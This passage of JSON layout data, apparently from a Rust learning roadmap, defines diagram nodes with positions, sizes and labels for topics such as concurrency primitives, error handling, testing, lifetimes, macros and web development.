\"width\": 111,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -699.1322659713494,\n        \"y\": 1130.2144446824718\n      }\n    },\n    {\n      \"id\": \"FsyLYRQP_rs4qL7IAj9Mo\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -583.7748410324897,\n        \"y\": 1130.2144446824718\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"BTreeSet\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"U9Bd-GO0QwYVLvESR4PTb\"\n      },\n      \"zIndex\": 999,\n      \"width\": 118,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 111,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -583.7748410324897,\n        \"y\": 1130.2144446824718\n      }\n    },\n    {\n      \"id\": \"U9Bd-GO0QwYVLvESR4PTb\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -468.41741609363,\n        \"y\": 1130.2144446824718\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"RC\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 69,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 100,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -468.41741609363,\n        \"y\": 1130.2144446824718\n      }\n    },\n    {\n      \"id\": \"yYmV5qkldu0FkDhOhWOXs\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -699.1322659713495,\n        \"y\": 1184.2144446824718\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Arc\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"3nXJg5Y4SUug_dEAj0eQm\"\n      },\n      \"zIndex\": 999,\n      \"width\": 70,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 65,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -699.1322659713495,\n        \"y\": 1184.2144446824718\n      }\n    },\n    {\n      \"id\": \"GbbeV3r27IBEKHyiyLqs6\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -629.1322659713495,\n        \"y\": 1184.2144446824718\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Mutex\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"3nXJg5Y4SUug_dEAj0eQm\"\n      },\n      \"zIndex\": 999,\n      \"width\": 92,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 94,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -629.1322659713495,\n        \"y\": 1184.2144446824718\n      }\n    },\n    {\n      \"id\": \"WzGl4DkANjUu7VC1AIWI-\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -528.41741609363,\n        \"y\": 1184.2144446824718\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"RwLock\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"3nXJg5Y4SUug_dEAj0eQm\"\n      },\n      \"zIndex\": 999,\n      \"width\": 105,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 158,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -528.41741609363,\n        \"y\": 1184.2144446824718\n      }\n    },\n    {\n      \"id\": \"3nXJg5Y4SUug_dEAj0eQm\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -699.7836476886799,\n        \"y\": 1238.2144446824718\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Channels\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"U9Bd-GO0QwYVLvESR4PTb\"\n      },\n      \"zIndex\": 999,\n      \"width\": 118,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 330,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -699.7836476886799,\n        \"y\": 1238.2144446824718\n      }\n    },\n    {\n      \"id\": \"X2gB0m-ZKSC4TJyIcwsMx\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -298.8175069304428,\n        \"y\": 458.9114782175309\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Error Handling\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"08qKtgnhJ3tlb5JKfTDf5\"\n      },\n      \"zIndex\": 999,\n      \"width\": 157,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 184,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -298.8175069304428,\n        \"y\": 458.9114782175309\n      }\n    },\n    {\n      \"id\": \"wQHkBydWsiGEOZMdKmz40\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 12.937754956556319,\n        \"y\": 405.9114782175308\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Option and Result Enumerations\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"LwqOxYY9E9MUDgz2M40uV\"\n      },\n      \"zIndex\": 999,\n      \"width\": 327,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 327\n      },\n      \"measured\": {\n        \"width\": 335,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 12.937754956556319,\n        \"y\": 405.9114782175308\n      }\n    },\n    {\n      \"id\": \"pTC1ucmErVnMbNFnYLJK7\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 12.937754956556319,\n        \"y\": 458.9114782175309\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Propagating Errors and `?` Operator\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"LwqOxYY9E9MUDgz2M40uV\"\n      },\n      \"zIndex\": 999,\n      \"width\": 327,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 327\n      },\n      \"measured\": {\n        \"width\": 335,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 12.937754956556319,\n        \"y\": 458.9114782175309\n      }\n    },\n    {\n      \"id\": \"LwqOxYY9E9MUDgz2M40uV\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 12.937754956556319,\n        \"y\": 511.9114782175309\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Custom Error Types and Traits\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 327,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 327\n      },\n      \"measured\": {\n        \"width\": 335,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 12.937754956556319,\n        \"y\": 511.9114782175309\n      }\n    },\n    {\n      \"id\": \"Zpowr_NGd-E2DC3g-oW9h\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -298.8175069304428,\n        \"y\": 650.6235753518292\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Modules & Crates\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"08qKtgnhJ3tlb5JKfTDf5\"\n      },\n      \"zIndex\": 999,\n      \"width\": 182,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 184,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -298.8175069304428,\n        \"y\": 650.6235753518292\n      }\n    },\n    {\n      \"id\": \"c_SdccEXEJyh4ymWzvCeX\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 12.937754956556319,\n        \"y\": 597.6235753518292\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Code Organization & Namespacing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Op0-bdMV3kE9Be6Ot1aC6\"\n      },\n      \"zIndex\": 999,\n      \"width\": 375,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 375\n      },\n      \"measured\": {\n        \"width\": 335,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 12.937754956556319,\n        \"y\": 597.6235753518292\n      }\n    },\n    {\n      \"id\": \"PkePVzV-b1pgFJP5xID5_\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 12.937754956556319,\n        \"y\": 650.6235753518292\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Dependency Management with Cargo\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Op0-bdMV3kE9Be6Ot1aC6\"\n      },\n      \"zIndex\": 999,\n      \"width\": 375,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 375\n      },\n      \"measured\": {\n        \"width\": 335,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 12.937754956556319,\n        \"y\": 650.6235753518292\n      }\n    },\n    {\n      \"id\": \"Op0-bdMV3kE9Be6Ot1aC6\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 12.937754956556319,\n        \"y\": 703.6235753518292\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Publishing on Crates.io\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 375,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 375\n      },\n      \"measured\": {\n        \"width\": 335,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 12.937754956556319,\n        \"y\": 703.6235753518292\n      }\n    },\n    {\n      \"id\": \"pehYc_xLrs6BFUbcpPTiJ\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 93.93775495655632,\n        \"y\": 1099.8111648956035\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Concurrency & Parallelism\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"eTpZXd8E2jVBmk_aSLZYV\"\n      },\n      \"zIndex\": 999,\n      \"width\": 245,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 254,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 93.93775495655632,\n        \"y\": 1099.8111648956035\n      }\n    },\n    {\n      \"id\": \"pJN260pWQVO0gHxi1-_3U\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -15.19003022483139,\n        \"y\": 1185.0353435831921\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Threads, Channels and Message Passing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"kVfBbsOHoixvqb4dYTG3Q\"\n      },\n      \"zIndex\": 999,\n      \"width\": 362,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 365,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -15.19003022483139,\n        \"y\": 1185.0353435831921\n      }\n    },\n    {\n      \"id\": \"n1Epl_nBuoXW2OE0IKYVR\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -15.19003022483139,\n        \"y\": 1238.0353435831921\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Atomic Operations & Memory Barriers\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"kVfBbsOHoixvqb4dYTG3Q\"\n      },\n      \"zIndex\": 999,\n      \"width\": 336,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 365,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -15.19003022483139,\n        \"y\": 1238.0353435831921\n      }\n    },\n    {\n      \"id\": \"kVfBbsOHoixvqb4dYTG3Q\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -15.19003022483139,\n        \"y\": 1291.0353435831921\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Futures and Async/Await Paradigm\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 311,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 365,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -15.19003022483139,\n        \"y\": 1291.0353435831921\n      }\n    },\n    {\n      \"id\": \"08qKtgnhJ3tlb5JKfTDf5\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -298.8175069304428,\n        \"y\": 859.0473987256978\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Testing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"h0aeBhQRkDxNeFwDxT4Tf\"\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 184,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -298.8175069304428,\n        \"y\": 859.0473987256978\n      }\n    },\n    {\n      \"id\": \"w9coeW9-crDxu0KC-9gEU\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -298.8175069304428,\n        \"y\": 947.7024216855308\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Unit & Integration Testing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"HEqfA6An6ZeT3z4R610en\"\n      },\n      \"zIndex\": 999,\n      \"width\": 240,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 362,\n        \"height\": 53\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -298.8175069304428,\n        \"y\": 947.7024216855308\n      }\n    },\n    {\n      \"id\": \"HEqfA6An6ZeT3z4R610en\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -298.8175069304428,\n        \"y\": 1005.7024216855308\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Mocking & Property Based Testing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 309,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 362,\n        \"height\": 53\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -298.8175069304428,\n        \"y\": 1005.7024216855308\n      }\n    },\n    {\n      \"id\": \"zLKbYX0nnbfD5n3P_JRaS\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -278.81180589576024,\n        \"y\": 1430.339181586816\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Traits & Generics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"eTpZXd8E2jVBmk_aSLZYV\"\n      },\n      \"zIndex\": 999,\n      \"width\": 178,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 184,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -278.81180589576024,\n        \"y\": 1430.339181586816\n      }\n    },\n    {\n      \"id\": \"_EicstELZcdesHiXFWJGu\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -15.19003022483139,\n        \"y\": 1377.339181586816\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Trait Definitions & Implementations\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"_hxwo_iAdOwlWBltv7i6i\"\n      },\n      \"zIndex\": 999,\n      \"width\": 321,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 321\n      },\n      \"measured\": {\n        \"width\": 365,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -15.19003022483139,\n        \"y\": 1377.339181586816\n      }\n    },\n    {\n      \"id\": \"pRDgDtRIVpNM2CdhSOS3Q\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -15.19003022483139,\n        \"y\": 1430.339181586816\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Trait Bounds and Associated Types\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"_hxwo_iAdOwlWBltv7i6i\"\n      },\n      \"zIndex\": 999,\n      \"width\": 321,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 321\n      },\n      \"measured\": {\n        \"width\": 365,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -15.19003022483139,\n        \"y\": 1430.339181586816\n      }\n    },\n    {\n      \"id\": \"_hxwo_iAdOwlWBltv7i6i\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -15.19003022483139,\n        \"y\": 1483.339181586816\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Generics & Type-Level Programming\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 321,\n      \"height\": 69,\n      \"style\": {\n        \"width\": 321\n      },\n      \"measured\": {\n        \"width\": 365,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -15.19003022483139,\n        \"y\": 1483.339181586816\n      }\n    },\n    {\n      \"id\": \"UZ56NKloehcxUFNuSeO19\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 84.61996452082155,\n        \"y\": 1622.0231760223057\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Lifetimes & Borrow Checker\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"eTpZXd8E2jVBmk_aSLZYV\"\n      },\n      \"zIndex\": 999,\n      \"width\": 259,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 261,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 84.61996452082155,\n        \"y\": 1622.0231760223057\n      }\n    },\n    {\n      \"id\": \"R5HIVS-lyCp9b46aXqx2m\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -7.380035479178417,\n        \"y\": 1718.8152557429603\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Explicit Lifetime Annotations\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"7yVvMnvCvLbFa51pESx0j\"\n      },\n      \"zIndex\": 999,\n      \"width\": 262,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 353,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -7.380035479178417,\n        \"y\": 1718.8152557429603\n      }\n    },\n    {\n      \"id\": \"qJI8GObmsxyc_tTtUEOAd\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -7.380035479178417,\n        \"y\": 1771.8152557429603\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Lifetime Elision Rules\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"7yVvMnvCvLbFa51pESx0j\"\n      },\n      \"zIndex\": 999,\n      \"width\": 210,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 353,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -7.380035479178417,\n        \"y\": 1771.8152557429603\n      }\n    },\n    {\n      \"id\": \"7yVvMnvCvLbFa51pESx0j\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -7.380035479178417,\n        \"y\": 1824.8152557429603\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Covariant & Contravariant Lifetimes\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 318,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 353,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -7.380035479178417,\n        \"y\": 1824.8152557429603\n      }\n    },\n    {\n      \"id\": \"eTpZXd8E2jVBmk_aSLZYV\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -685.2748410324898,\n        \"y\": 1634.2461547010141\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Macros & Metaprogramming\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"08qKtgnhJ3tlb5JKfTDf5\"\n      },\n      \"zIndex\": 999,\n      \"width\": 264,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 284,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -685.2748410324898,\n        \"y\": 1634.2461547010141\n      }\n    },\n    {\n      \"id\": \"AXWXXsww7Xkl3BYgtThNe\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -709.7748410324898,\n        \"y\": 1417.8063556289276\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Declarative Macros with macro_rules!\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Kb7KF7JCMaWFz-GuaQmQV\"\n      },\n      \"zIndex\": 999,\n      \"width\": 333,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 333\n      },\n      \"measured\": {\n        \"width\": 333,\n        \"height\": 53\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -709.7748410324898,\n        \"y\": 1417.8063556289276\n      }\n    },\n    {\n      \"id\": \"bkVM1OIbv4XUpY6FQb8x_\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -709.7748410324898,\n        \"y\": 1474.8063556289276\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Procedural Macros & Custom Derive\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Kb7KF7JCMaWFz-GuaQmQV\"\n      },\n      \"zIndex\": 999,\n      \"width\": 333,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 333\n      },\n      \"measured\": {\n        \"width\": 333,\n        \"height\": 53\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -709.7748410324898,\n        \"y\": 1474.8063556289276\n      }\n    },\n    {\n      \"id\": \"Kb7KF7JCMaWFz-GuaQmQV\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -709.7748410324898,\n        \"y\": 1533.339181586816\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Domain Specific Languages (DSLs)\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 333,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 333\n      },\n      \"measured\": {\n        \"width\": 333,\n        \"height\": 53\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -709.7748410324898,\n        \"y\": 1533.339181586816\n      }\n    },\n    {\n      \"id\": \"KomYBYxj0FTrJDYB3nU5B\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -685.2748410324898,\n        \"y\": 1904.2497741109262\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Web Development\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"WduD9VIcYSs_JTnuMNyxk\"\n      },\n      \"zIndex\": 999,\n      \"width\": 186,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 284,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      